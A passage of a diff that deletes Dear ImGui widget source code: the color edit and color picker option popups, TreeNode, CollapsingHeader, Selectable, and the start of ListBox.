ImGuiColorEditFlags__DataTypeMask); - if ((!allow_opt_inputs && !allow_opt_datatype) || !BeginPopup("context")) - return; - ImGuiContext& g = *GImGui; - ImGuiColorEditFlags opts = g.ColorEditOptions; - if (allow_opt_inputs) - { - if (RadioButton("RGB", (opts & ImGuiColorEditFlags_DisplayRGB) != 0)) opts = (opts & ~ImGuiColorEditFlags__DisplayMask) | ImGuiColorEditFlags_DisplayRGB; - if (RadioButton("HSV", (opts & ImGuiColorEditFlags_DisplayHSV) != 0)) opts = (opts & ~ImGuiColorEditFlags__DisplayMask) | ImGuiColorEditFlags_DisplayHSV; - if (RadioButton("Hex", (opts & ImGuiColorEditFlags_DisplayHex) != 0)) opts = (opts & ~ImGuiColorEditFlags__DisplayMask) | ImGuiColorEditFlags_DisplayHex; - } - if (allow_opt_datatype) - { - if (allow_opt_inputs) Separator(); - if (RadioButton("0..255", (opts & ImGuiColorEditFlags_Uint8) != 0)) opts = (opts & ~ImGuiColorEditFlags__DataTypeMask) | ImGuiColorEditFlags_Uint8; - if (RadioButton("0.00..1.00", (opts & ImGuiColorEditFlags_Float) != 0)) opts = (opts & ~ImGuiColorEditFlags__DataTypeMask) | ImGuiColorEditFlags_Float; - } - - if (allow_opt_inputs || allow_opt_datatype) - Separator(); - if (Button("Copy as..", ImVec2(-1, 0))) - OpenPopup("Copy"); - if (BeginPopup("Copy")) - { - int cr = IM_F32_TO_INT8_SAT(col[0]), cg = IM_F32_TO_INT8_SAT(col[1]), cb = IM_F32_TO_INT8_SAT(col[2]), ca = (flags & ImGuiColorEditFlags_NoAlpha) ? 255 : IM_F32_TO_INT8_SAT(col[3]); - char buf[64]; - ImFormatString(buf, IM_ARRAYSIZE(buf), "(%.3ff, %.3ff, %.3ff, %.3ff)", col[0], col[1], col[2], (flags & ImGuiColorEditFlags_NoAlpha) ? 1.0f : col[3]); - if (Selectable(buf)) - SetClipboardText(buf); - ImFormatString(buf, IM_ARRAYSIZE(buf), "(%d,%d,%d,%d)", cr, cg, cb, ca); - if (Selectable(buf)) - SetClipboardText(buf); - ImFormatString(buf, IM_ARRAYSIZE(buf), "#%02X%02X%02X", cr, cg, cb); - if (Selectable(buf)) - SetClipboardText(buf); - if (!(flags & ImGuiColorEditFlags_NoAlpha)) - { - ImFormatString(buf, IM_ARRAYSIZE(buf), "#%02X%02X%02X%02X", cr, cg, cb, ca); - if (Selectable(buf)) - SetClipboardText(buf); - } - EndPopup(); - } - - g.ColorEditOptions = opts; - EndPopup(); -} - -void ImGui::ColorPickerOptionsPopup(const float* ref_col, ImGuiColorEditFlags flags) -{ - bool allow_opt_picker = !(flags & ImGuiColorEditFlags__PickerMask); - bool allow_opt_alpha_bar = !(flags & ImGuiColorEditFlags_NoAlpha) && !(flags & ImGuiColorEditFlags_AlphaBar); - if ((!allow_opt_picker && !allow_opt_alpha_bar) || !BeginPopup("context")) - return; - ImGuiContext& g = *GImGui; - if (allow_opt_picker) - { - ImVec2 picker_size(g.FontSize * 8, ImMax(g.FontSize * 8 - (GetFrameHeight() + g.Style.ItemInnerSpacing.x), 1.0f)); // FIXME: Picker size copied from main picker function - PushItemWidth(picker_size.x); - for (int picker_type = 0; picker_type < 2; picker_type++) - { - // Draw small/thumbnail version of each picker type (over an invisible button for selection) - if (picker_type > 0) Separator(); - PushID(picker_type); - ImGuiColorEditFlags picker_flags = ImGuiColorEditFlags_NoInputs | ImGuiColorEditFlags_NoOptions | ImGuiColorEditFlags_NoLabel | ImGuiColorEditFlags_NoSidePreview | (flags & ImGuiColorEditFlags_NoAlpha); - if (picker_type == 0) picker_flags |= ImGuiColorEditFlags_PickerHueBar; - if (picker_type == 1) picker_flags |= ImGuiColorEditFlags_PickerHueWheel; - ImVec2 backup_pos = GetCursorScreenPos(); - if (Selectable("##selectable", false, 0, picker_size)) // By default, Selectable() is closing popup - g.ColorEditOptions = (g.ColorEditOptions & ~ImGuiColorEditFlags__PickerMask) | (picker_flags & ImGuiColorEditFlags__PickerMask); - SetCursorScreenPos(backup_pos); - ImVec4 previewing_ref_col; - memcpy(&previewing_ref_col, ref_col, sizeof(float) * ((picker_flags & ImGuiColorEditFlags_NoAlpha) ? 3 : 4)); - ColorPicker4("##previewing_picker", &previewing_ref_col.x, picker_flags); - PopID(); - } - PopItemWidth(); - } - if (allow_opt_alpha_bar) - { - if (allow_opt_picker) Separator(); - CheckboxFlags("Alpha Bar", &g.ColorEditOptions, ImGuiColorEditFlags_AlphaBar); - } - EndPopup(); -} - -//------------------------------------------------------------------------- -// [SECTION] Widgets: TreeNode, CollapsingHeader, etc. -//------------------------------------------------------------------------- -// - TreeNode() -// - TreeNodeV() -// - TreeNodeEx() -// - TreeNodeExV() -// - TreeNodeBehavior() [Internal] -// - TreePush() -// - TreePop() -// - GetTreeNodeToLabelSpacing() -// - SetNextItemOpen() -// - CollapsingHeader() -//------------------------------------------------------------------------- - -bool ImGui::TreeNode(const char* str_id, const char* fmt, ...) -{ - va_list args; - va_start(args, fmt); - bool is_open = TreeNodeExV(str_id, 0, fmt, args); - va_end(args); - return is_open; -} - -bool ImGui::TreeNode(const void* ptr_id, const char* fmt, ...) -{ - va_list args; - va_start(args, fmt); - bool is_open = TreeNodeExV(ptr_id, 0, fmt, args); - va_end(args); - return is_open; -} - -bool ImGui::TreeNode(const char* label) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - return TreeNodeBehavior(window->GetID(label), 0, label, NULL); -} - -bool ImGui::TreeNodeV(const char* str_id, const char* fmt, va_list args) -{ - return TreeNodeExV(str_id, 0, fmt, args); -} - -bool ImGui::TreeNodeV(const void* ptr_id, const char* fmt, va_list args) -{ - return TreeNodeExV(ptr_id, 0, fmt, args); -} - -bool ImGui::TreeNodeEx(const char* label, ImGuiTreeNodeFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - return TreeNodeBehavior(window->GetID(label), flags, label, NULL); -} - -bool ImGui::TreeNodeEx(const char* str_id, ImGuiTreeNodeFlags flags, const char* fmt, ...) -{ - va_list args; - va_start(args, fmt); - bool is_open = TreeNodeExV(str_id, flags, fmt, args); - va_end(args); - return is_open; -} - -bool ImGui::TreeNodeEx(const void* ptr_id, ImGuiTreeNodeFlags flags, const char* fmt, ...) -{ - va_list args; - va_start(args, fmt); - bool is_open = TreeNodeExV(ptr_id, flags, fmt, args); - va_end(args); - return is_open; -} - -bool ImGui::TreeNodeExV(const char* str_id, ImGuiTreeNodeFlags flags, const char* fmt, va_list args) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - const char* label_end = g.TempBuffer + ImFormatStringV(g.TempBuffer, IM_ARRAYSIZE(g.TempBuffer), fmt, args); - return TreeNodeBehavior(window->GetID(str_id), flags, g.TempBuffer, label_end); -} - -bool ImGui::TreeNodeExV(const void* ptr_id, ImGuiTreeNodeFlags flags, const char* fmt, va_list args) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - const char* label_end = g.TempBuffer + ImFormatStringV(g.TempBuffer, IM_ARRAYSIZE(g.TempBuffer), fmt, args); - return TreeNodeBehavior(window->GetID(ptr_id), flags, g.TempBuffer, label_end); -} - -bool ImGui::TreeNodeBehaviorIsOpen(ImGuiID id, ImGuiTreeNodeFlags flags) -{ - if (flags & ImGuiTreeNodeFlags_Leaf) - return true; - - // We only write to the tree storage if the user clicks (or explicitly use the SetNextItemOpen function) - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - ImGuiStorage* storage = window->DC.StateStorage; - - bool is_open; - if (g.NextItemData.Flags & ImGuiNextItemDataFlags_HasOpen) - { - if (g.NextItemData.OpenCond & ImGuiCond_Always) - { - is_open = g.NextItemData.OpenVal; - storage->SetInt(id, is_open); - } - else - { - // We treat ImGuiCond_Once and ImGuiCond_FirstUseEver the same because tree node state are not saved persistently. - const int stored_value = storage->GetInt(id, -1); - if (stored_value == -1) - { - is_open = g.NextItemData.OpenVal; - storage->SetInt(id, is_open); - } - else - { - is_open = stored_value != 0; - } - } - } - else - { - is_open = storage->GetInt(id, (flags & ImGuiTreeNodeFlags_DefaultOpen) ? 1 : 0) != 0; - } - - // When logging is enabled, we automatically expand tree nodes (but *NOT* collapsing headers.. seems like sensible behavior). - // NB- If we are above max depth we still allow manually opened nodes to be logged. - if (g.LogEnabled && !(flags & ImGuiTreeNodeFlags_NoAutoOpenOnLog) && (window->DC.TreeDepth - g.LogDepthRef) < g.LogDepthToExpand) - is_open = true; - - return is_open; -} - -bool ImGui::TreeNodeBehavior(ImGuiID id, ImGuiTreeNodeFlags flags, const char* label, const char* label_end) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - const bool display_frame = (flags & ImGuiTreeNodeFlags_Framed) != 0; - const ImVec2 padding = (display_frame || (flags & ImGuiTreeNodeFlags_FramePadding)) ? style.FramePadding : ImVec2(style.FramePadding.x, ImMin(window->DC.CurrLineTextBaseOffset, style.FramePadding.y)); - - if (!label_end) - label_end = FindRenderedTextEnd(label); - const ImVec2 label_size = CalcTextSize(label, label_end, false); - - // We vertically grow up to current line height up the typical widget height. - const float frame_height = ImMax(ImMin(window->DC.CurrLineSize.y, g.FontSize + style.FramePadding.y * 2), label_size.y + padding.y * 2); - ImRect frame_bb; - frame_bb.Min.x = (flags & ImGuiTreeNodeFlags_SpanFullWidth) ? window->WorkRect.Min.x : window->DC.CursorPos.x; - frame_bb.Min.y = window->DC.CursorPos.y; - frame_bb.Max.x = window->WorkRect.Max.x; - frame_bb.Max.y = window->DC.CursorPos.y + frame_height; - if (display_frame) - { - // Framed header expand a little outside the default padding, to the edge of InnerClipRect - // (FIXME: May remove this at some point and make InnerClipRect align with WindowPadding.x instead of WindowPadding.x*0.5f) - frame_bb.Min.x -= IM_FLOOR(window->WindowPadding.x * 0.5f - 1.0f); - frame_bb.Max.x += IM_FLOOR(window->WindowPadding.x * 0.5f); - } - - const float text_offset_x = g.FontSize + (display_frame ? padding.x * 3 : padding.x * 2); // Collapser arrow width + Spacing - const float text_offset_y = ImMax(padding.y, window->DC.CurrLineTextBaseOffset); // Latch before ItemSize changes it - const float text_width = g.FontSize + (label_size.x > 0.0f ? label_size.x + padding.x * 2 : 0.0f); // Include collapser - ImVec2 text_pos(window->DC.CursorPos.x + text_offset_x, window->DC.CursorPos.y + text_offset_y); - ItemSize(ImVec2(text_width, frame_height), padding.y); - - // For regular tree nodes, we arbitrary allow to click past 2 worth of ItemSpacing - ImRect interact_bb = frame_bb; - if (!display_frame && (flags & (ImGuiTreeNodeFlags_SpanAvailWidth | ImGuiTreeNodeFlags_SpanFullWidth)) == 0) - interact_bb.Max.x = frame_bb.Min.x + text_width + style.ItemSpacing.x * 2.0f; - - // Store a flag for the current depth to tell if we will allow closing this node when navigating one of its child. - // For this purpose we essentially compare if g.NavIdIsAlive went from 0 to 1 between TreeNode() and TreePop(). - // This is currently only support 32 level deep and we are fine with (1 << Depth) overflowing into a zero. - const bool is_leaf = (flags & ImGuiTreeNodeFlags_Leaf) != 0; - bool is_open = TreeNodeBehaviorIsOpen(id, flags); - if (is_open && !g.NavIdIsAlive && (flags & ImGuiTreeNodeFlags_NavLeftJumpsBackHere) && !(flags & ImGuiTreeNodeFlags_NoTreePushOnOpen)) - window->DC.TreeJumpToParentOnPopMask |= (1 << window->DC.TreeDepth); - - bool item_add = ItemAdd(interact_bb, id); - window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_HasDisplayRect; - window->DC.LastItemDisplayRect = frame_bb; - - if (!item_add) - { - if (is_open && !(flags & ImGuiTreeNodeFlags_NoTreePushOnOpen)) - TreePushOverrideID(id); - IMGUI_TEST_ENGINE_ITEM_INFO(window->DC.LastItemId, label, window->DC.ItemFlags | (is_leaf ? 0 : ImGuiItemStatusFlags_Openable) | (is_open ? ImGuiItemStatusFlags_Opened : 0)); - return is_open; - } - - ImGuiButtonFlags button_flags = ImGuiTreeNodeFlags_None; - if (flags & ImGuiTreeNodeFlags_AllowItemOverlap) - button_flags |= ImGuiButtonFlags_AllowItemOverlap; - if (!is_leaf) - button_flags |= ImGuiButtonFlags_PressedOnDragDropHold; - - // We allow clicking on the arrow section with keyboard modifiers held, in order to easily - // allow browsing a tree while preserving selection with code implementing multi-selection patterns. - // When clicking on the rest of the tree node we always disallow keyboard modifiers. - const float arrow_hit_x1 = (text_pos.x - text_offset_x) - style.TouchExtraPadding.x; - const float arrow_hit_x2 = (text_pos.x - text_offset_x) + (g.FontSize + padding.x * 2.0f) + style.TouchExtraPadding.x; - const bool is_mouse_x_over_arrow = (g.IO.MousePos.x >= arrow_hit_x1 && g.IO.MousePos.x < arrow_hit_x2); - if (window != g.HoveredWindow || !is_mouse_x_over_arrow) - button_flags |= ImGuiButtonFlags_NoKeyModifiers; - - // Open behaviors can be altered with the _OpenOnArrow and _OnOnDoubleClick flags. - // Some alteration have subtle effects (e.g. toggle on MouseUp vs MouseDown events) due to requirements for multi-selection and drag and drop support. - // - Single-click on label = Toggle on MouseUp (default, when _OpenOnArrow=0) - // - Single-click on arrow = Toggle on MouseDown (when _OpenOnArrow=0) - // - Single-click on arrow = Toggle on MouseDown (when _OpenOnArrow=1) - // - Double-click on label = Toggle on MouseDoubleClick (when _OpenOnDoubleClick=1) - // - Double-click on arrow = Toggle on MouseDoubleClick (when _OpenOnDoubleClick=1 and _OpenOnArrow=0) - // It is rather standard that arrow click react on Down rather than Up. - // We set ImGuiButtonFlags_PressedOnClickRelease on OpenOnDoubleClick because we want the item to be active on the initial MouseDown in order for drag and drop to work. - if (is_mouse_x_over_arrow) - button_flags |= ImGuiButtonFlags_PressedOnClick; - else if (flags & ImGuiTreeNodeFlags_OpenOnDoubleClick) - button_flags |= ImGuiButtonFlags_PressedOnClickRelease | ImGuiButtonFlags_PressedOnDoubleClick; - else - button_flags |= ImGuiButtonFlags_PressedOnClickRelease; - - bool selected = (flags & ImGuiTreeNodeFlags_Selected) != 0; - const bool was_selected = selected; - - bool hovered, held; - bool pressed = ButtonBehavior(interact_bb, id, &hovered, &held, button_flags); - bool toggled = false; - if (!is_leaf) - { - if (pressed && g.DragDropHoldJustPressedId != id) - { - if ((flags & (ImGuiTreeNodeFlags_OpenOnArrow | ImGuiTreeNodeFlags_OpenOnDoubleClick)) == 0 || (g.NavActivateId == id)) - toggled = true; - if (flags & ImGuiTreeNodeFlags_OpenOnArrow) - toggled |= is_mouse_x_over_arrow && !g.NavDisableMouseHover; // Lightweight equivalent of IsMouseHoveringRect() since ButtonBehavior() already did the job - if ((flags & ImGuiTreeNodeFlags_OpenOnDoubleClick) && g.IO.MouseDoubleClicked[0]) - toggled = true; - } - else if (pressed && g.DragDropHoldJustPressedId == id) - { - IM_ASSERT(button_flags & ImGuiButtonFlags_PressedOnDragDropHold); - if (!is_open) // When using Drag and Drop "hold to open" we keep the node highlighted after opening, but never close it again. - toggled = true; - } - - if (g.NavId == id && g.NavMoveRequest && g.NavMoveDir == ImGuiDir_Left && is_open) - { - toggled = true; - NavMoveRequestCancel(); - } - if (g.NavId == id && g.NavMoveRequest && g.NavMoveDir == ImGuiDir_Right && !is_open) // If there's something upcoming on the line we may want to give it the priority? - { - toggled = true; - NavMoveRequestCancel(); - } - - if (toggled) - { - is_open = !is_open; - window->DC.StateStorage->SetInt(id, is_open); - window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_ToggledOpen; - } - } - if (flags & ImGuiTreeNodeFlags_AllowItemOverlap) - SetItemAllowOverlap(); - - // In this branch, TreeNodeBehavior() cannot toggle the selection so this will never trigger. - if (selected != was_selected) //-V547 - window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_ToggledSelection; - - // Render - const ImU32 text_col = GetColorU32(ImGuiCol_Text); - ImGuiNavHighlightFlags nav_highlight_flags = ImGuiNavHighlightFlags_TypeThin; - if (display_frame) - { - // Framed type - const ImU32 bg_col = GetColorU32((held && hovered) ? ImGuiCol_HeaderActive : hovered ? ImGuiCol_HeaderHovered : ImGuiCol_Header); - RenderFrame(frame_bb.Min, frame_bb.Max, bg_col, true, style.FrameRounding); - RenderNavHighlight(frame_bb, id, nav_highlight_flags); - if (flags & ImGuiTreeNodeFlags_Bullet) - RenderBullet(window->DrawList, ImVec2(text_pos.x - text_offset_x * 0.60f, text_pos.y + g.FontSize * 0.5f), text_col); - else if (!is_leaf) - RenderArrow(window->DrawList, ImVec2(text_pos.x - text_offset_x + padding.x, text_pos.y), text_col, is_open ? ImGuiDir_Down : ImGuiDir_Right, 1.0f); - else // Leaf without bullet, left-adjusted text - text_pos.x -= text_offset_x; - if (flags & ImGuiTreeNodeFlags_ClipLabelForTrailingButton) - frame_bb.Max.x -= g.FontSize + style.FramePadding.x; - - if (g.LogEnabled) - LogSetNextTextDecoration("###", "###"); - RenderTextClipped(text_pos, frame_bb.Max, label, label_end, &label_size); - } - else - { - // Unframed typed for tree nodes - if (hovered || selected) - { - const ImU32 bg_col = GetColorU32((held && hovered) ? ImGuiCol_HeaderActive : hovered ? ImGuiCol_HeaderHovered : ImGuiCol_Header); - RenderFrame(frame_bb.Min, frame_bb.Max, bg_col, false); - RenderNavHighlight(frame_bb, id, nav_highlight_flags); - } - if (flags & ImGuiTreeNodeFlags_Bullet) - RenderBullet(window->DrawList, ImVec2(text_pos.x - text_offset_x * 0.5f, text_pos.y + g.FontSize * 0.5f), text_col); - else if (!is_leaf) - RenderArrow(window->DrawList, ImVec2(text_pos.x - text_offset_x + padding.x, text_pos.y + g.FontSize * 0.15f), text_col, is_open ? ImGuiDir_Down : ImGuiDir_Right, 0.70f); - if (g.LogEnabled) - LogSetNextTextDecoration(">", NULL); - RenderText(text_pos, label, label_end, false); - } - - if (is_open && !(flags & ImGuiTreeNodeFlags_NoTreePushOnOpen)) - TreePushOverrideID(id); - IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags | (is_leaf ? 0 : ImGuiItemStatusFlags_Openable) | (is_open ? ImGuiItemStatusFlags_Opened : 0)); - return is_open; -} - -void ImGui::TreePush(const char* str_id) -{ - ImGuiWindow* window = GetCurrentWindow(); - Indent(); - window->DC.TreeDepth++; - PushID(str_id ? str_id : "#TreePush"); -} - -void ImGui::TreePush(const void* ptr_id) -{ - ImGuiWindow* window = GetCurrentWindow(); - Indent(); - window->DC.TreeDepth++; - PushID(ptr_id ? ptr_id : (const void*)"#TreePush"); -} - -void ImGui::TreePushOverrideID(ImGuiID id) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - Indent(); - window->DC.TreeDepth++; - window->IDStack.push_back(id); -} - -void ImGui::TreePop() -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = g.CurrentWindow; - Unindent(); - - window->DC.TreeDepth--; - ImU32 tree_depth_mask = (1 << window->DC.TreeDepth); - - // Handle Left arrow to move to parent tree node (when ImGuiTreeNodeFlags_NavLeftJumpsBackHere is enabled) - if (g.NavMoveDir == ImGuiDir_Left && g.NavWindow == window && NavMoveRequestButNoResultYet()) - if (g.NavIdIsAlive && (window->DC.TreeJumpToParentOnPopMask & tree_depth_mask)) - { - SetNavID(window->IDStack.back(), g.NavLayer, 0, ImRect()); - NavMoveRequestCancel(); - } - window->DC.TreeJumpToParentOnPopMask &= tree_depth_mask - 1; - - IM_ASSERT(window->IDStack.Size > 1); // There should always be 1 element in the IDStack (pushed during window creation). If this triggers you called TreePop/PopID too much. - PopID(); -} - -// Horizontal distance preceding label when using TreeNode() or Bullet() -float ImGui::GetTreeNodeToLabelSpacing() -{ - ImGuiContext& g = *GImGui; - return g.FontSize + (g.Style.FramePadding.x * 2.0f); -} - -// Set next TreeNode/CollapsingHeader open state. -void ImGui::SetNextItemOpen(bool is_open, ImGuiCond cond) -{ - ImGuiContext& g = *GImGui; - if (g.CurrentWindow->SkipItems) - return; - g.NextItemData.Flags |= ImGuiNextItemDataFlags_HasOpen; - g.NextItemData.OpenVal = is_open; - g.NextItemData.OpenCond = cond ? cond : ImGuiCond_Always; -} - -// CollapsingHeader returns true when opened but do not indent nor push into the ID stack (because of the ImGuiTreeNodeFlags_NoTreePushOnOpen flag). -// This is basically the same as calling TreeNodeEx(label, ImGuiTreeNodeFlags_CollapsingHeader). You can remove the _NoTreePushOnOpen flag if you want behavior closer to normal TreeNode(). -bool ImGui::CollapsingHeader(const char* label, ImGuiTreeNodeFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - return TreeNodeBehavior(window->GetID(label), flags | ImGuiTreeNodeFlags_CollapsingHeader, label); -} - -// p_visible == NULL : regular collapsing header -// p_visible != NULL && *p_visible == true : show a small close button on the corner of the header, clicking the button will set *p_visible = false -// p_visible != NULL && *p_visible == false : do not show the header at all -// Do not mistake this with the Open state of the header itself, which you can adjust with SetNextItemOpen() or ImGuiTreeNodeFlags_DefaultOpen. -bool ImGui::CollapsingHeader(const char* label, bool* p_visible, ImGuiTreeNodeFlags flags) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - if (p_visible && !*p_visible) - return false; - - ImGuiID id = window->GetID(label); - flags |= ImGuiTreeNodeFlags_CollapsingHeader; - if (p_visible) - flags |= ImGuiTreeNodeFlags_AllowItemOverlap | ImGuiTreeNodeFlags_ClipLabelForTrailingButton; - bool is_open = TreeNodeBehavior(id, flags, label); - if (p_visible != NULL) - { - // Create a small overlapping close button - // FIXME: We can evolve this into user accessible helpers to add extra buttons on title bars, headers, etc. - // FIXME: CloseButton can overlap into text, need find a way to clip the text somehow. - ImGuiContext& g = *GImGui; - ImGuiLastItemDataBackup last_item_backup; - float button_size = g.FontSize; - float button_x = ImMax(window->DC.LastItemRect.Min.x, window->DC.LastItemRect.Max.x - g.Style.FramePadding.x * 2.0f - button_size); - float button_y = window->DC.LastItemRect.Min.y; - ImGuiID close_button_id = GetIDWithSeed("#CLOSE", NULL, id); - if (CloseButton(close_button_id, ImVec2(button_x, button_y))) - *p_visible = false; - last_item_backup.Restore(); - } - - return is_open; -} - -//------------------------------------------------------------------------- -// [SECTION] Widgets: Selectable -//------------------------------------------------------------------------- -// - Selectable() -//------------------------------------------------------------------------- - -// Tip: pass a non-visible label (e.g. "##hello") then you can use the space to draw other text or image. -// But you need to make sure the ID is unique, e.g. enclose calls in PushID/PopID or use ##unique_id. -// With this scheme, ImGuiSelectableFlags_SpanAllColumns and ImGuiSelectableFlags_AllowItemOverlap are also frequently used flags. -// FIXME: Selectable() with (size.x == 0.0f) and (SelectableTextAlign.x > 0.0f) followed by SameLine() is currently not supported. -bool ImGui::Selectable(const char* label, bool selected, ImGuiSelectableFlags flags, const ImVec2& size_arg) -{ - ImGuiWindow* window = GetCurrentWindow(); - if (window->SkipItems) - return false; - - ImGuiContext& g = *GImGui; - const ImGuiStyle& style = g.Style; - - // Submit label or explicit size to ItemSize(), whereas ItemAdd() will submit a larger/spanning rectangle. - ImGuiID id = window->GetID(label); - ImVec2 label_size = CalcTextSize(label, NULL, true); - ImVec2 size(size_arg.x != 0.0f ? size_arg.x : label_size.x, size_arg.y != 0.0f ? size_arg.y : label_size.y); - ImVec2 pos = window->DC.CursorPos; - pos.y += window->DC.CurrLineTextBaseOffset; - ItemSize(size, 0.0f); - - // Fill horizontal space - // We don't support (size < 0.0f) in Selectable() because the ItemSpacing extension would make explicitly right-aligned sizes not visibly match other widgets. - const bool span_all_columns = (flags & ImGuiSelectableFlags_SpanAllColumns) != 0; - const float min_x = span_all_columns ? window->ParentWorkRect.Min.x : pos.x; - const float max_x = span_all_columns ? window->ParentWorkRect.Max.x : window->WorkRect.Max.x; - if (size_arg.x == 0.0f || (flags & ImGuiSelectableFlags_SpanAvailWidth)) - size.x = ImMax(label_size.x, max_x - min_x); - - // Text stays at the submission position, but bounding box may be extended on both sides - const ImVec2 text_min = pos; - const ImVec2 text_max(min_x + size.x, pos.y + size.y); - - // Selectables are meant to be tightly packed together with no click-gap, so we extend their box to cover spacing between selectable. - ImRect bb(min_x, pos.y, text_max.x, text_max.y); - if ((flags & ImGuiSelectableFlags_NoPadWithHalfSpacing) == 0) - { - const float spacing_x = span_all_columns ? 0.0f : style.ItemSpacing.x; - const float spacing_y = style.ItemSpacing.y; - const float spacing_L = IM_FLOOR(spacing_x * 0.50f); - const float spacing_U = IM_FLOOR(spacing_y * 0.50f); - bb.Min.x -= spacing_L; - bb.Min.y -= spacing_U; - bb.Max.x += (spacing_x - spacing_L); - bb.Max.y += (spacing_y - spacing_U); - } - //if (g.IO.KeyCtrl) { GetForegroundDrawList()->AddRect(bb.Min, bb.Max, IM_COL32(0, 255, 0, 255)); } - - // Modify ClipRect for the ItemAdd(), faster than doing a PushColumnsBackground/PushTableBackground for every Selectable.. - const float backup_clip_rect_min_x = window->ClipRect.Min.x; - const float backup_clip_rect_max_x = window->ClipRect.Max.x; - if (span_all_columns) - { - window->ClipRect.Min.x = window->ParentWorkRect.Min.x; - window->ClipRect.Max.x = window->ParentWorkRect.Max.x; - } - - bool item_add; - if (flags & ImGuiSelectableFlags_Disabled) - { - ImGuiItemFlags backup_item_flags = window->DC.ItemFlags; - window->DC.ItemFlags |= ImGuiItemFlags_Disabled | ImGuiItemFlags_NoNavDefaultFocus; - item_add = ItemAdd(bb, id); - window->DC.ItemFlags = backup_item_flags; - } - else - { - item_add = ItemAdd(bb, id); - } - - if (span_all_columns) - { - window->ClipRect.Min.x = backup_clip_rect_min_x; - window->ClipRect.Max.x = backup_clip_rect_max_x; - } - - if (!item_add) - return false; - - // FIXME: We can standardize the behavior of those two, we could also keep the fast path of override ClipRect + full push on render only, - // which would be advantageous since most selectable are not selected. - if (span_all_columns && window->DC.CurrentColumns) - PushColumnsBackground(); - else if (span_all_columns && g.CurrentTable) - TablePushBackgroundChannel(); - - // We use NoHoldingActiveID on menus so user can click and _hold_ on a menu then drag to browse child entries - ImGuiButtonFlags button_flags = 0; - if (flags & ImGuiSelectableFlags_NoHoldingActiveID) { button_flags |= ImGuiButtonFlags_NoHoldingActiveId; } - if (flags & ImGuiSelectableFlags_SelectOnClick) { button_flags |= ImGuiButtonFlags_PressedOnClick; } - if (flags & ImGuiSelectableFlags_SelectOnRelease) { button_flags |= ImGuiButtonFlags_PressedOnRelease; } - if (flags & ImGuiSelectableFlags_Disabled) { button_flags |= ImGuiButtonFlags_Disabled; } - if (flags & ImGuiSelectableFlags_AllowDoubleClick) { button_flags |= ImGuiButtonFlags_PressedOnClickRelease | ImGuiButtonFlags_PressedOnDoubleClick; } - if (flags & ImGuiSelectableFlags_AllowItemOverlap) { button_flags |= ImGuiButtonFlags_AllowItemOverlap; } - - if (flags & ImGuiSelectableFlags_Disabled) - selected = false; - - const bool was_selected = selected; - bool hovered, held; - bool pressed = ButtonBehavior(bb, id, &hovered, &held, button_flags); - - // Update NavId when clicking or when Hovering (this doesn't happen on most widgets), so navigation can be resumed with gamepad/keyboard - if (pressed || (hovered && (flags & ImGuiSelectableFlags_SetNavIdOnHover))) - { - if (!g.NavDisableMouseHover && g.NavWindow == window && g.NavLayer == window->DC.NavLayerCurrent) - { - SetNavID(id, window->DC.NavLayerCurrent, window->DC.NavFocusScopeIdCurrent, ImRect(bb.Min - window->Pos, bb.Max - window->Pos)); - g.NavDisableHighlight = true; - } - } - if (pressed) - MarkItemEdited(id); - - if (flags & ImGuiSelectableFlags_AllowItemOverlap) - SetItemAllowOverlap(); - - // In this branch, Selectable() cannot toggle the selection so this will never trigger. - if (selected != was_selected) //-V547 - window->DC.LastItemStatusFlags |= ImGuiItemStatusFlags_ToggledSelection; - - // Render - if (held && (flags & ImGuiSelectableFlags_DrawHoveredWhenHeld)) - hovered = true; - if (hovered || selected) - { - const ImU32 col = GetColorU32((held && hovered) ? ImGuiCol_HeaderActive : hovered ? ImGuiCol_HeaderHovered : ImGuiCol_Header); - RenderFrame(bb.Min, bb.Max, col, false, 0.0f); - RenderNavHighlight(bb, id, ImGuiNavHighlightFlags_TypeThin | ImGuiNavHighlightFlags_NoRounding); - } - - if (span_all_columns && window->DC.CurrentColumns) - PopColumnsBackground(); - else if (span_all_columns && g.CurrentTable) - TablePopBackgroundChannel(); - - if (flags & ImGuiSelectableFlags_Disabled) PushStyleColor(ImGuiCol_Text, style.Colors[ImGuiCol_TextDisabled]); - RenderTextClipped(text_min, text_max, label, NULL, &label_size, style.SelectableTextAlign, &bb); - if (flags & ImGuiSelectableFlags_Disabled) PopStyleColor(); - - // Automatically close popups - if (pressed && (window->Flags & ImGuiWindowFlags_Popup) && !(flags & ImGuiSelectableFlags_DontClosePopups) && !(window->DC.ItemFlags & ImGuiItemFlags_SelectableDontClosePopup)) - CloseCurrentPopup(); - - IMGUI_TEST_ENGINE_ITEM_INFO(id, label, window->DC.ItemFlags); - return pressed; -} - -bool ImGui::Selectable(const char* label, bool* p_selected, ImGuiSelectableFlags flags, const ImVec2& size_arg) -{ - if (Selectable(label, *p_selected, flags, size_arg)) - { - *p_selected = !*p_selected; - return true; - } - return false; -} - -//------------------------------------------------------------------------- -// [SECTION] Widgets: ListBox -//------------------------------------------------------------------------- -// - BeginListBox() -// - EndListBox() -// - ListBox() -//------------------------------------------------------------------------- - -// Tip: To have a list filling the entire window width, use size.x = -FLT_MIN and pass an non-visible label e.g. "##empty" -// Tip: If your vertical size is calculated from an item count (e.g. 10 * item_height) consider adding a fractional part to facilitate seeing scrolling boundaries (e.g. 10.25 * item_height). -bool ImGui::BeginListBox(const char* label, const ImVec2& size_arg) -{ - ImGuiContext& g = *GImGui; - ImGuiWindow* window = 